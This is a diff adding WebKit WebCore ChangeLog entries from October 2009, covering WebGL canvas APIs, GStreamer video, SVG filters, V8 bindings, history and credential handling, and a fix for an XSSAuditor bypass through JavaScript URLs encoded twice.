+        * bindings/js/JSCanvasArrayCustom.cpp:
+        (WebCore::toJS):
+        * html/canvas/CanvasArray.h:
+        (WebCore::CanvasArray::isByteArray):
+        (WebCore::CanvasArray::isUnsignedByteArray):
+        (WebCore::CanvasArray::isShortArray):
+        (WebCore::CanvasArray::isUnsignedShortArray):
+        (WebCore::CanvasArray::isIntArray):
+        (WebCore::CanvasArray::isUnsignedIntArray):
+        (WebCore::CanvasArray::isFloatArray):
+        * html/canvas/CanvasArray.idl:
+        * html/canvas/CanvasByteArray.h:
+        (WebCore::CanvasByteArray::isByteArray):
+        * html/canvas/CanvasFloatArray.h:
+        (WebCore::CanvasFloatArray::isFloatArray):
+        * html/canvas/CanvasIntArray.h:
+        (WebCore::CanvasIntArray::isIntArray):
+        * html/canvas/CanvasRenderingContext3D.cpp:
+        (WebCore::CanvasRenderingContext3D::readPixels):
+        * html/canvas/CanvasRenderingContext3D.h:
+        * html/canvas/CanvasRenderingContext3D.idl:
+        * html/canvas/CanvasShortArray.h:
+        (WebCore::CanvasShortArray::isShortArray):
+        * html/canvas/CanvasUnsignedByteArray.h:
+        (WebCore::CanvasUnsignedByteArray::isUnsignedByteArray):
+        * html/canvas/CanvasUnsignedIntArray.h:
+        (WebCore::CanvasUnsignedIntArray::isUnsignedIntArray):
+        * html/canvas/CanvasUnsignedShortArray.h:
+        (WebCore::CanvasUnsignedShortArray::isUnsignedShortArray):
+        * platform/graphics/GraphicsContext3D.h:
+        * platform/graphics/mac/Canvas3DLayer.mm:
+        (-[Canvas3DLayer drawInCGLContext:pixelFormat:forLayerTime:displayTime:]):
+        * platform/graphics/mac/GraphicsContext3DMac.cpp:
+        (WebCore::GraphicsContext3D::readPixels):
+
+2009-10-12  Sebastian Dröge  <sebastian.droege@collabora.co.uk>
+
+        Reviewed by Gustavo Noronha.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30307
+        
+        Fix 0 sentinel for g_object_set() function call.
+
+        * platform/graphics/gtk/DataSourceGStreamer.cpp:
+        (webkit_data_src_uri_set_uri):
+        0 is passed as 32 bit value on x86-64 in vararg functions, but
+        g_object_set() expects a 64 bit 0. This will cause crashes.
+
+2009-10-12  Cameron McCormack  <cam@mcc.id.au>
+
+        Reviewed by Eric Seidel.
+
+        Drop in="" from <feFlood>
+        https://bugs.webkit.org/show_bug.cgi?id=29001
+
+        This makes <feFlood in="bogus"> have an effect, too.
+
+        http://www.w3.org/2003/01/REC-SVG11-20030114-errata#feflood-attribute
+
+        Test: svg/dom/feFlood-no-in1.html
+
+        * svg/SVGFEFloodElement.cpp:
+        (WebCore::SVGFEFloodElement::SVGFEFloodElement):
+        (WebCore::SVGFEFloodElement::build):
+        * svg/SVGFEFloodElement.h:
+        * svg/SVGFEFloodElement.idl:
+        * svg/graphics/filters/SVGFEFlood.cpp:
+        (WebCore::FEFlood::FEFlood):
+        (WebCore::FEFlood::create):
+        * svg/graphics/filters/SVGFEFlood.h:
+
+2009-10-12  Sebastian Dröge  <sebastian.droege@collabora.co.uk>
+
+        Reviewed by Gustavo Noronha.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29998
+        
+        Scale video to completely fill the target surface while
+        keeping the aspect ratio. This fixes displaying of the
+        YouTube HTML5 sample website.
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        Scale video to completely fill the target surface, keep
+        the aspect ratio and center it.
+
+2009-10-12  Sebastian Dröge  <sebastian.droege@collabora.co.uk>
+
+        Reviewed by Gustavo Noronha.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29997
+        
+        Fixes double memcpy of all rendered video frames.
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::mediaPlayerPrivateRepaintCallback):
+        (WebCore::MediaPlayerPrivate::MediaPlayerPrivate):
+        (WebCore::MediaPlayerPrivate::~MediaPlayerPrivate):
+        (WebCore::MediaPlayerPrivate::duration):
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.h:
+        * platform/graphics/gtk/VideoSinkGStreamer.cpp:
+        (webkit_video_sink_timeout_func):
+        (webkit_video_sink_dispose):
+        (unlock_buffer_mutex):
+        (webkit_video_sink_unlock):
+        (marshal_VOID__MINIOBJECT):
+        (webkit_video_sink_class_init):
+        (webkit_video_sink_new):
+        * platform/graphics/gtk/VideoSinkGStreamer.h:
+        Directly pass the buffers up to the MediaPlayerPrivate::paint()
+        method instead of rendering them first to an intermediate cairo
+        surface. This should increase performance and peak memory usage.
+
+2009-10-11  Daniel Bates  <dbates@webkit.org>
+
+        Reviewed by Adam Barth.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30242
+        
+        Fixes an issue where JavaScript URLs that are URL-encoded twice can 
+        bypass the XSSAuditor.
+        
+        JavaScript URLs that are completed by method Document::completeURL have added
+        URL-encoded characters such that a direct comparison with the URL-decoded 
+        outgoing HTTP parameters is not sufficient. Instead, the URL-decoded outgoing 
+        HTTP parameters must be URL-decoded before comparison.
+
+        Tests: http/tests/security/xssAuditor/iframe-javascript-url-twice-url-encode.html
+               http/tests/security/xssAuditor/iframe-javascript-url-twice-url-encode2.html
+               http/tests/security/xssAuditor/iframe-javascript-url-twice-url-encode3.html
+
+        * bindings/ScriptControllerBase.cpp:
+        (WebCore::ScriptController::executeIfJavaScriptURL): Modified to pass XSSAuditor
+        the URL-decoded source code for the JavaScript URL.
+        * page/XSSAuditor.cpp:
+        (WebCore::isIllegalURICharacter): Minor syntactical change to the comment.
+        (WebCore::XSSAuditor::CachingURLCanonicalizer::canonicalizeURL): Added 
+        parameter decodeURLEscapeSequencesTwice.
+        (WebCore::XSSAuditor::canEvaluateJavaScriptURL):
+        (WebCore::XSSAuditor::decodeURL): Ditto.
+        (WebCore::XSSAuditor::findInRequest): Ditto.
+        * page/XSSAuditor.h:
+        (WebCore::XSSAuditor::CachingURLCanonicalizer::CachingURLCanonicalizer): Ditto.
+
+2009-10-11  Dominic Cooney  <dominicc@google.com>
+
+        Reviewed by Adam Barth.
+
+        Fixes a build break in the V8 bindings caused by revision 49420.
+        https://bugs.webkit.org/show_bug.cgi?id=30294
+
+        Revision 49420 introduces an IDL-defined CanvasActiveInfo
+        type. This causes a build break in the V8 bindings where
+        CanvasGraphicsContext3D naively refers to CanvasActiveInfo as a
+        non-ref type.
+
+        * WebCore.gypi: Include CanvasActiveInfo.idl in build.
+        * bindings/scripts/CodeGeneratorV8.pm: CanvasActiveInfo is a ref
+          ptr type.
+        * bindings/v8/DOMObjectsInclude.h: Include generated
+          CanvasActiveInfo files.
+        * bindings/v8/DerivedSourcesAllInOne.cpp:
+        * bindings/v8/V8Index.cpp:
+        * bindings/v8/V8Index.h:
+
+2009-10-11  Collin Jackson  <collinj@webkit.org>
+
+        Reviewed by Adam Barth.
+
+        Log mixed content warnings to console
+
+        https://bugs.webkit.org/show_bug.cgi?id=30290
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::checkIfDisplayInsecureContent):
+        (WebCore::FrameLoader::checkIfRunInsecureContent):
+
+2009-10-11  Søren Gjesse  <sgjesse@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        [V8] Add a context scope in JS listener destructor. The destructor code uses the cotext. See http://crbug.com/24200.
+        https://bugs.webkit.org/show_bug.cgi?id=30250
+
+        * bindings/v8/V8AbstractEventListener.cpp:
+        (WebCore::V8AbstractEventListener::~V8AbstractEventListener):
+
+2009-10-11  Lyon Chen  <lyon.chen@torchmobile.com>
+
+        Reviewed by Alexey Proskuryakov.
+
+        Correct the position of #endif sentence inside WebCore::Document::finishedParsing().
+
+        https://bugs.webkit.org/show_bug.cgi?id=30244
+
+        This change requires no test case as it fix a compiling error.
+
+        * dom/Document.cpp:
+        (WebCore::Document::finishedParsing):
+
+2009-10-11  Dominic Cooney  <dominicc@google.com>
+
+        Reviewed by Adam Barth.
+
+        Sets a 500K stack limit for JavaScript workers in Chromium.
+        https://bugs.webkit.org/show_bug.cgi?id=29797
+
+        Runaway recursion in JavaScript workers crashes the Chromium
+        worker process on OS X. This is because V8's default stack limit
+        is 512K on ia32 or 1M on x64, but the worker process runs workers
+        on a thread with the OS X default stack size--512K. Because there
+        are already some C+frames on the stack when V8 establishes its
+        512K default stack limit, and V8 doesn't precisely enforce the
+        stack limit, runaway recursion in V8 workers overflows the OS
+        stack and segfaults, killing the worker process. This is described
+        in Chromium bug 21653 <http://crbug.com/21653>.
+
+        This patch sets the V8 stack limit for worker JavaScript in
+        Chromium to a more conservative 500K on all platforms. This allows
+        some "headroom" for the C+stack in use when the limit is set up,
+        and some "legroom" for the V8 helper functions which in practice
+        briefly flout the V8 stack limit.
+
+        Test: LayoutTests/fast/workers/use-machine-stack.html
+
+        * bindings/v8/WorkerContextExecutionProxy.cpp:
+        (WebCore::WorkerContextExecutionProxy::initV8IfNeeded):
+        * bindings/v8/WorkerContextExecutionProxy.h:
+
+2009-10-11  Kevin Ollivier  <kevino@theolliviers.com>
+
+        wx build fix for wxMac 2.9, use wxGC API for measuring text.
+
+        * platform/wx/wxcode/mac/carbon/fontprops.cpp:
+        (GetTextExtent):
+
+2009-10-10  Cameron McCormack  <cam@mcc.id.au>
+
+        Reviewed by Sam Weinig.
+
+        Allow [Reflect] on SVG elements.
+        https://bugs.webkit.org/show_bug.cgi?id=28936
+
+        Update the JS binding generators to reference SVGNames instead of
+        HTMLNames, if [Reflect]ing an attribute on an SVG element.  Make
+        SVGElement::id use [Reflect].
+
+        Also make [Reflect] on an attribute with a setter exception work in ObjC
+        bindings.
+
+        Test: svg/dom/id-reflect.html
+
+        * bindings/scripts/CodeGenerator.pm: Add a function to determine the
+        appropriate C+namespace for attribute name constants.
+        * bindings/scripts/CodeGeneratorObjC.pm: Generate ExceptionCode handling
+        code for [Reflect] on an attribute with a setter exception.
+        * bindings/scripts/CodeGeneratorCOM.pm: Generate "SVGNames" instead of
+        "HTMLNames" when appropriate.
+        * bindings/scripts/CodeGeneratorJS.pm: Ditto.
+        * bindings/scripts/CodeGeneratorV8.pm: Ditto.
+        * svg/SVGElement.cpp: Remove getter and setter methods for id.
+        * svg/SVGElement.h: Ditto.
+        * svg/SVGElement.idl: Add [Reflect] to id.
+
+2009-10-10  Oliver Hunt  <oliver@apple.com>
+
+        Fix paths in xcode.
+
+        * WebCore.xcodeproj/project.pbxproj:
+
+2009-10-10  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Eric Carlson.
+
+        Implement getActiveAttrib and getActiveUniform
+        https://bugs.webkit.org/show_bug.cgi?id=30276
+
+        Implements the getActiveAttrib and getActiveUniform APIs.
+        Rather simple patch, adds CanvasActiveInfo definition and implementation
+        and adds forwarding to the GraphicsContext3D.
+
+        Test: fast/canvas/webgl/getActiveTest.html
+
+        * DerivedSources.make:
+        * WebCore.xcodeproj/project.pbxproj:
+        * html/canvas/CanvasActiveInfo.h: Added.
+        (WebCore::CanvasActiveInfo::create):
+        (WebCore::CanvasActiveInfo::name):
+        (WebCore::CanvasActiveInfo::type):
+        (WebCore::CanvasActiveInfo::size):
+        (WebCore::CanvasActiveInfo::CanvasActiveInfo):
+        * html/canvas/CanvasActiveInfo.idl: Added.
+        * html/canvas/CanvasObject.h:
+        (WebCore::CanvasObject::context):
+          Need to make the context public as it is needed to ensure we don't
+          provide a program from one context as an argument to another.
+        * html/canvas/CanvasRenderingContext3D.cpp:
+        (WebCore::CanvasRenderingContext3D::getActiveAttrib):
+        (WebCore::CanvasRenderingContext3D::getActiveUniform):
+        * html/canvas/CanvasRenderingContext3D.h:
+        * html/canvas/CanvasRenderingContext3D.idl:
+        * platform/graphics/GraphicsContext3D.h:
+        * platform/graphics/mac/GraphicsContext3DMac.cpp:
+        (WebCore::GraphicsContext3D::getActiveAttrib):
+        (WebCore::GraphicsContext3D::getActiveUniform):
+
+2009-10-10  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Adding new attributes in Element Panel is
+        counterintuitive.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30057
+
+        * inspector/front-end/ElementsTreeOutline.js:
+        (WebInspector.ElementsTreeOutline.prototype._onmousemove):
+        (WebInspector.ElementsTreeElement.prototype.set hovered):
+        (WebInspector.ElementsTreeElement.prototype.toggleNewAttributeButton):
+
+2009-10-10  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Holger Freyther.
+
+        Build fix if Netscape plugin support is turned off
+        https://bugs.webkit.org/show_bug.cgi?id=30275
+
+        In addition to fixing the build break with guards
+        remove notImplemented() from PluginViewNone.cpp and
+        make them just just be empty functions.
+
+        * plugins/PluginView.cpp:
+        (WebCore::PluginView::handleEvent):
+        (WebCore::PluginView::PluginView):
+        * plugins/PluginView.h:
+        * plugins/PluginViewNone.cpp:
+        (WebCore::PluginView::setFocus):
+        (WebCore::PluginView::show):
+        (WebCore::PluginView::hide):
+        (WebCore::PluginView::paint):
+        (WebCore::PluginView::handleKeyboardEvent):
+        (WebCore::PluginView::handleMouseEvent):
+        (WebCore::PluginView::setParent):
+        (WebCore::PluginView::setNPWindowRect):
+        (WebCore::PluginView::handlePostReadFile):
+        (WebCore::PluginView::getValue):
+        (WebCore::PluginView::getValueStatic):
+        (WebCore::PluginView::invalidateRect):
+        (WebCore::PluginView::invalidateRegion):
+        (WebCore::PluginView::forceRedraw):
+        (WebCore::PluginView::platformStart):
+        (WebCore::PluginView::platformDestroy):
+        (WebCore::PluginView::setParentVisible):
+        (WebCore::PluginView::updatePluginWidget):
+
+2009-10-10  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Unreviewed.
+
+        [Qt] Build fix for QtWebKit after r49415.
+
+        Add HistoryController.cpp to the build.
+
+        * WebCore.pro:
+
+2009-10-09  Darin Fisher  <darin@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        [Chromium] KURLGoogle's protocolIs barfs on input containing hyphens
+        https://bugs.webkit.org/show_bug.cgi?id=30262
+
+        This is not testable from WebKit since WebKit never uses the member
+        function form of protocolIs with input that can be controlled from a
+        web page.  It always passes string literals lacking hyphens.
+
+        * platform/KURLGoogle.cpp:
+        (WebCore::lowerCaseEqualsASCII): Only assert if toASCIILower would
+        transform the input character.
+
+2009-10-10  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Oliver Hunt.
+
+        Move HistoryController to its own file
+        https://bugs.webkit.org/show_bug.cgi?id=30272
+
+        Purely mechanical.
+
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * loader/FrameLoader.cpp:
+        * loader/FrameLoader.h:
+        * loader/HistoryController.cpp: Added.
+        * loader/HistoryController.h: Added.
+
+2009-10-09  Ryosuke Niwa  <rniwa@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        ApplyStyleCommand removes presentational tags even when not necessary
+        https://bugs.webkit.org/show_bug.cgi?id=28091
+
+        This patch updates implicitlyStyledElementShouldBeRemovedWhenApplyingStyle to return true
+        (triggering removal of tag) only if the style implicitly added by the element is not present in
+        the new style to apply. It also changes surroundNodeRangeWithElement so that it merges the
+        surrounding element when possible. applyTextDecorationStyle is modified so that it does not add
+        style span when the style attribute is empty.
+
+        Test: editing/execCommand/toggle-style-3.html
+
+        * editing/ApplyStyleCommand.cpp:
+        (WebCore::ApplyStyleCommand::shouldRemoveTextDecorationTag): Returns true if specified text
+        decoration is not present in the style to apply
+        (WebCore::ApplyStyleCommand::implicitlyStyledElementShouldBeRemovedWhenApplyingStyle): No longer
+        returns true if the tag is used in new style
+        (WebCore::ApplyStyleCommand::applyTextDecorationStyle): Does not add style-span when redundant
+        (WebCore::ApplyStyleCommand::surroundNodeRangeWithElement): Merges the newly created element
+        with the surrounding identical elements
+        * editing/ApplyStyleCommand.h:
+
+2009-10-09  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Factor HistoryController out of FrameLoader
+        https://bugs.webkit.org/show_bug.cgi?id=30246
+
+        HistoryController is in charge of managing the current / previous /
+        provisional HistoryItems.  The split isn't perfect, but it's a place to
+        start.  I'll move HistoryController into its own file in another patch.
+
+        * WebCore.base.exp:
+        * loader/FrameLoader.cpp:
+        (WebCore::HistoryController::HistoryController):
+        (WebCore::HistoryController::~HistoryController):
+        (WebCore::FrameLoader::FrameLoader):
+        (WebCore::FrameLoader::closeURL):
+        (WebCore::FrameLoader::begin):
+        (WebCore::HistoryController::restoreDocumentState):
+        (WebCore::HistoryController::setCurrentItem):
+        (WebCore::HistoryController::setProvisionalItem):
+        (WebCore::FrameLoader::loadURLIntoChildFrame):
+        (WebCore::FrameLoader::canCachePageContainingThisFrame):
+        (WebCore::FrameLoader::logCanCacheFrameDecision):
+        (WebCore::FrameLoader::scrollToAnchor):
+        (WebCore::FrameLoader::commitProvisionalLoad):
+        (WebCore::FrameLoader::transitionToCommitted):
+        (WebCore::FrameLoader::checkLoadCompleteForThisFrame):
+        (WebCore::FrameLoader::didFirstLayout):
+        (WebCore::HistoryController::updateForFrameLoadCompleted):
+        (WebCore::FrameLoader::frameLoadCompleted):
+        (WebCore::FrameLoader::detachFromParent):
+        (WebCore::FrameLoader::receivedMainResourceError):
+        (WebCore::FrameLoader::continueFragmentScrollAfterNavigationPolicy):
+        (WebCore::FrameLoader::continueLoadAfterNavigationPolicy):
+        (WebCore::HistoryController::addHistoryItemForFragmentScroll):
+        (WebCore::FrameLoader::loadProvisionalItemFromCachedPage):
+        (WebCore::FrameLoader::shouldTreatURLAsSameAsCurrent):
+        (WebCore::HistoryController::createHistoryItem):
+        (WebCore::FrameLoader::checkDidPerformFirstNavigation):
+        (WebCore::HistoryController::addBackForwardItemClippedAtTarget):
+        (WebCore::HistoryController::createHistoryItemTree):
+        (WebCore::HistoryController::saveScrollPositionAndViewStateToItem):
+        (WebCore::HistoryController::restoreScrollPositionAndViewState):
+        (WebCore::HistoryController::invalidateCurrentItemCachedPage):
+        (WebCore::HistoryController::saveDocumentState):
+        (WebCore::FrameLoader::loadItem):
+        (WebCore::HistoryController::urlsMatchItem):
+        (WebCore::HistoryController::goToItem):
+        (WebCore::HistoryController::recursiveGoToItem):
+        (WebCore::HistoryController::childFramesMatchItem):
+        (WebCore::HistoryController::updateForStandardLoad):
+        (WebCore::HistoryController::updateForClientRedirect):
+        (WebCore::HistoryController::updateForBackForwardNavigation):
+        (WebCore::HistoryController::updateForReload):
+        (WebCore::HistoryController::updateForRedirectWithLockedBackForwardList):
+        (WebCore::HistoryController::updateForCommit):
+        (WebCore::HistoryController::updateForAnchorScroll):
+        (WebCore::HistoryController::saveDocumentAndScrollState):
+        (WebCore::HistoryController::setCurrentItemTitle):
+        (WebCore::FrameLoader::didChangeTitle):
+        * loader/FrameLoader.h:
+        (WebCore::HistoryController::current):
+        (WebCore::HistoryController::provisional):
+        (WebCore::FrameLoader::policyChecker):
+        (WebCore::FrameLoader::history):
+        (WebCore::FrameLoader::creatingInitialEmptyDocument):
+        * page/Page.cpp:
+        (WebCore::Page::goToItem):
+
+2009-10-09  Alexey Proskuryakov  <ap@apple.com>
+
+        Unreviewed - fixing an obvious typo in my previous check-in.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30260
+        <rdar://problem/6447115> REGRESSION: Logging out from SAP doesn't work
+
+        Fixes existing tests (which I thought I had run the previous time).
+
+        * platform/network/CredentialStorage.cpp: (WebCore::originsWithCredentials): Return the
+        set by reference.
+
+2009-10-09  David Levin  <levin@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        [v8] Need change to V8WorkerContextEventListener::reportError signature to match the base class.
+        https://bugs.webkit.org/show_bug.cgi?id=30264
+
+        The base class method changed in r48884.
+
+        Test: fast/worker/worker-script-error.html
+
+        * bindings/v8/V8WorkerContextEventListener.cpp:
+        (WebCore::V8WorkerContextEventListener::reportError):
+        * bindings/v8/V8WorkerContextEventListener.h:
+
+2009-10-09  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Brady Eidson.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30260
+        <rdar://problem/6447115> REGRESSION: Logging out from SAP doesn't work
+
+        Tests: http/tests/xmlhttprequest/logout.html
+               http/tests/xmlhttprequest/re-login-async.html
+               http/tests/xmlhttprequest/re-login.html
+
+        Fix several issues with existing credential handling code.
+
+        * platform/network/CredentialStorage.cpp:
+        (WebCore::pathToDefaultProtectionSpaceMap): Changed the data structure to a simpler one.
+        (WebCore::originsWithCredentials): The reason for two-stage lookup above was that we didn't
+        want to iterate paths for origins that never had credentials associated with them. Changed
+        to use a separate HashSet for this.
+        (WebCore::pathToDefaultProtectionSpaceMap): The concept of default per-path credentials didn't
+        match the spec very well. UAs are supposed to deduce protection space from an URL, and then
+        use whichever credentials are known for this protection space. So, OriginToDefaultBasicCredentialMap
+        is now PathToDefaultProtectionSpaceMap.
+        (WebCore::protectionSpaceMapKeyFromURL): Factored out a helper that extracts a directory
+        URL from a given URL. These directory URLs are what we use as keys in PathToDefaultProtectionSpaceMap.
+        (WebCore::CredentialStorage::set): Updated for above changes.
+        (WebCore::findDefaultProtectionSpaceForURL): Factored out code iterating path length to find
+        a prefix in OriginToDefaultBasicCredentialMap.
+        (WebCore::CredentialStorage::set): Another version of set() can update credentials for a
+        URL default protection space. It does nothing if the given URL doesn't correspond to a known
+        protection space.
+        (WebCore::CredentialStorage::get): Renamed from getDefaultAuthenticationCredential.
+
+        * platform/network/CredentialStorage.h: Made the distinction between methods that use a known
+        protection space and those that deduce one from URL more clear.
+
+        * platform/network/mac/ResourceHandleMac.mm:
+        (WebCore::ResourceHandle::start): Update credentials before starting the request for real.
+        This makes the following pattern work:
+          var req = new XMLHttpRequest("GET", "logout.html", "logout", "logout"); // wrong credentials
+          req.send("");
+          req.abort();
+        Abort() is used here to avoid having UA present an auth dialog after getting a 401 response.
+        Note that one cannot log in using the same method, because there isn't a known protection
+        space for the URL yet in that case, so the added code has no effect.
+        (WebCore::ResourceHandle::didReceiveAuthenticationChallenge): Use a correct persistence for
+        calling receivedCredential(). This fixes logging in using an async XHR (withut abort(), of
+        course), and matches sync case.
+        (+[WebCoreSynchronousLoader loadRequest:allowStoredCredentials:returningResponse:error:]):
+        Renamed getDefaultAuthenticationCredential() to get().
+
+        * platform/network/cf/ResourceHandleCFNet.cpp:
+        (WebCore::ResourceHandle::start):
+        (WebCore::WebCoreSynchronousLoader::load):
+        Same changes as in Mac code.
+
+2009-10-09  Enrica Casucci  <enrica@apple.com>
+
+        Reviewed by Adele Peterson.
+
+        Undoing a indent removes text instead of it's formatting.
+        <rdar://problem/7169206>
+        https://bugs.webkit.org/show_bug.cgi?id=28722
+        Restored the behavior prior to http://trac.webkit.org/changeset/46143. This change implemented the
+        indent command making simple DOM operation, without using moveParagraph which cause undo to be broken.
+        
+        Added editing/undo/undo-indent.html test.
+
+        * editing/IndentOutdentCommand.cpp:
+        (WebCore::IndentOutdentCommand::prepareBlockquoteLevelForInsertion): Restored. 
+        (WebCore::IndentOutdentCommand::tryIndentingAsListItem): Merged changes.
+        (WebCore::IndentOutdentCommand::indentIntoBlockquote): Restored.
+        (WebCore::IndentOutdentCommand::indentRegion): Restored and added call to updateLayout to
+        ensure TextIterator could correctly calculate the position starting from the index.
+        * editing/IndentOutdentCommand.h: Restored.
+
+2009-10-09  Jens Alfke  <snej@chromium.org>
+
+        Reviewed by Darin Adler.
+        
+        Optimization: Many StringImpl transformations are no-ops and should just return 'this'
+        https://bugs.webkit.org/show_bug.cgi?id=30186
+
+        Optimized StringImpl methods lower(), stripWhiteSpace() and simplifyWhiteSpace() to
+        detect no-ops and return this instead of creating a new instance.
+        Empirical testing shows that the majority of calls to these methods are no-ops, making
+        this worthwhile even if (in the case of lower()) the non-no-op case is slightly slowed.
+        Upper() is very rarely a no-op, so it wasn't worthwhile to optimize it.
+
+        * platform/text/StringImpl.cpp:
+        (WebCore::StringImpl::lower):
+        (WebCore::StringImpl::upper): Just add a comment explaining why this wasn't optimized
+        (WebCore::StringImpl::stripWhiteSpace):
+        (WebCore::StringImpl::simplifyWhiteSpace):
+
+2009-10-09  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Oliver Hunt.
+
+        SVG Filter feGaussianBlur implementation is missing
+        [https://bugs.webkit.org/show_bug.cgi?id=28141]
+
+        This is the implementation of GaussianBlur filter for SVG.
+
+        There is already a test for feGaussianBlur
+        Test: svg/W3C-SVG-1.1/filters-gauss-01-b-w3c.svg 
+
+        Test: svg/filters/feGaussianBlur.svg
+
+        * platform/graphics/filters/FilterEffect.cpp:
+        (WebCore::FilterEffect::FilterEffect):
+        * platform/graphics/filters/FilterEffect.h:
+        (WebCore::FilterEffect::isAlphaImage):
+        (WebCore::FilterEffect::setIsAlphaImage):
+        * platform/graphics/filters/SourceAlpha.cpp:
+        (WebCore::SourceAlpha::apply):
+        * svg/graphics/filters/SVGFEGaussianBlur.cpp:
+        (WebCore::boxBlur):
+        (WebCore::FEGaussianBlur::apply):
+
+2009-10-09  Philippe Normand  <pnormand@igalia.com>
+
+        Reviewed by Gustavo Noronha.
+
+        [GTK] QoS support in the video sink
+        https://bugs.webkit.org/show_bug.cgi?id=29959
+
+        Removed the async buffer queue from the sink. Synchronize the
+        render method of the sink using a g_timeout_add() combined with a
+        gcond triggered when the buffer has been rendered.
+        Also fixed the video sink reference handling in the player, now
+        that the idle is not there anymore to mess up things.
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::~MediaPlayerPrivate):
+        (WebCore::MediaPlayerPrivate::createGSTPlayBin):
+        * platform/graphics/gtk/VideoSinkGStreamer.cpp:
+        (webkit_video_sink_init):
+        (webkit_video_sink_timeout_func):
+        (webkit_video_sink_render):
+        (webkit_video_sink_dispose):
+        (unlock_buffer_mutex):
+        (webkit_video_sink_unlock):
+        (webkit_video_sink_stop):
+        (webkit_video_sink_class_init):
+
+2009-10-09  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Nikolas Zimmermann.
+
+        feMorphology filter is not implemented
+        [https://bugs.webkit.org/show_bug.cgi?id=5863]
+
+        Adds SVGFEMorphologyElement, for the SVG filter. It also fixes a bug
+        with the attribute "operator". It was only accessible via "_operator" 
+        on JavaScript.
+
+        Test: svg/dom/operatorAttribute.xhtml
+
+        * DerivedSources.cpp:
+        * DerivedSources.make:
+        * GNUmakefile.am:
+        * WebCore.SVG.Filters.exp:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.xcodeproj/project.pbxproj:
+        * bindings/objc/DOM.mm:
+        (WebCore::createElementClassMap):
+        * bindings/objc/DOMSVG.h:
+        * bindings/scripts/CodeGeneratorJS.pm:
+        * bindings/scripts/CodeGeneratorObjC.pm:
+        * page/DOMWindow.idl:
+        * svg/SVGAllInOne.cpp:
+        * svg/SVGFECompositeElement.idl:
+        * svg/SVGFEMorphologyElement.cpp: Added.
+        (WebCore::SVGFEMorphologyElement::SVGFEMorphologyElement):
+        (WebCore::SVGFEMorphologyElement::~SVGFEMorphologyElement):
+        (WebCore::SVGFEMorphologyElement::setRadius):
+        (WebCore::SVGFEMorphologyElement::parseMappedAttribute):
+        (WebCore::SVGFEMorphologyElement::build):
+        * svg/SVGFEMorphologyElement.h: Added.
+        * svg/SVGFEMorphologyElement.idl: Added.
+        * svg/graphics/filters/SVGFEMorphology.cpp:
+        (WebCore::operator<<):
+        * svg/graphics/filters/SVGFEMorphology.h:
+        (WebCore::):
+        * svg/svgtags.in:
+
+2009-10-09  Yury Semikhatsky  <yurys@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Fix Chromium breakage.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30104
+
+        * inspector/front-end/inspector.js:
+        (WebInspector.addCookieDomain): check that Storage panel is present before calling its methods.
+
+2009-10-09  Joe Ligman  <joseph.ligman@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Added pure virtual methods setInputMethodEnabled and setInputMethodHint to QWebPageClient
+
+        https://bugs.webkit.org/show_bug.cgi?id=30023
+
+        * platform/qt/QWebPageClient.h:
+
+2009-10-08  Dave Hyatt  <hyatt@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Implement beforeload for images.  ImageLoadEventSender has been refactored into a more generic
+        ImageEventSender that can be used by both load and beforeload events.  If the document has any
+        beforeload listeners, then the installation of images onto the renderer becomes asynchronous
+        and will be held up until the beforeload event can fire at a later date.
+
+        Both beforeload and load events now fire at the end of the tokenizer write() methods, so that
+        in the typical parsing case we don't have to put off the beforeload/load events until after
+        a layout or paint might already have happened.  This lets beforeload/load not cause extra
+        layouts and repaints.
+
+        * dom/ContainerNode.cpp:
+        (WebCore::ContainerNode::dispatchBeforeLoadEvent):
+        * dom/Document.cpp:
+        (WebCore::Document::implicitClose):
+        (WebCore::Document::addListenerTypeIfNeeded):
+        * dom/Document.h:
+        (WebCore::Document::):
+        * dom/XMLTokenizer.cpp:
+        (WebCore::XMLTokenizer::write):
+        * html/HTMLImageElement.cpp:
+        (WebCore::HTMLImageElement::attach):
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::attach):
+        * html/HTMLTokenizer.cpp:
+        (WebCore::HTMLTokenizer::write):
+        * loader/ImageLoader.cpp:
+        (WebCore::ImageBeforeLoadEventSender::ImageBeforeLoadEventSender):
+        (WebCore::ImageLoadEventSender::ImageLoadEventSender):
+        (WebCore::beforeLoadEventSender):
+        (WebCore::ImageLoader::ImageLoader):
+        (WebCore::ImageLoader::~ImageLoader):
+        (WebCore::ImageLoader::setImage):
+        (WebCore::ImageLoader::setLoadingImage):
+        (WebCore::ImageLoader::updateFromElement):
